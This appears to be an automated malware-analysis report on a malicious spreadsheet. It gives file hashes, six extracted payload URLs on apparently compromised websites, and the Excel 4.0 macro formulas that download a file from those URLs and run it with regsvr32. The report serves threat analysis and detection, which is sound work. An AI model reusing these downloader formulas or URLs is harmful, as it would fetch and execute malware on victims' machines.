General
-
Target
9b65517244a43dbffa0e022b0a0e8dc612931ab24c74ce2b862421bea114d5e4
-
Size
44KB
-
MD5
84f999dfb19b3ef4ea3d806ee94403cc
-
SHA1
e7520cb9ee6ed761ca30fef961adbcba37e52472
-
SHA256
9b65517244a43dbffa0e022b0a0e8dc612931ab24c74ce2b862421bea114d5e4
-
SHA512
2ccf2514a990a91f85f0404fcd8ad803c34223f3f354a03273e6c595c567bc64475f7d95833d17cd737685f5804881819faf2330d91caba468d2cfd3cb84ecfc
-
SSDEEP
768:lCJrL6Vc9fYfdc/buIgsqlkVw2WFc8SGnCu2JBgBkXrI34gKU+LBEePlG2vPc:wJruUYsb6yVwpFB1CuEge7tg3+5IyE
Malware Config
Extracted
http://aquapark.hotelrestoranaqua.com/wp-includes/a1eCjuFRWXku/
https://baksen.org/chat/8wYoYwWXH4eidiUOAs/
https://truetvkerala.com/wp-admin/iocOOm7I/
https://lavanya-aesthetic.com/cgi-bin/PjtfI2BlnvUtlMV2vTR/
http://kopkomerc.rs/wp-includes/css/ErPamucLecQSqd/
http://restoran.hotelrestoranaqua.com/wp-includes/67I/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aquapark.hotelrestoranaqua.com/wp-includes/a1eCjuFRWXku/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://baksen.org/chat/8wYoYwWXH4eidiUOAs/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://truetvkerala.com/wp-admin/iocOOm7I/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lavanya-aesthetic.com/cgi-bin/PjtfI2BlnvUtlMV2vTR/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kopkomerc.rs/wp-includes/css/ErPamucLecQSqd/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://restoran.hotelrestoranaqua.com/wp-includes/67I/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()
Signatures
Files
-
9b65517244a43dbffa0e022b0a0e8dc612931ab24c74ce2b862421bea114d5e4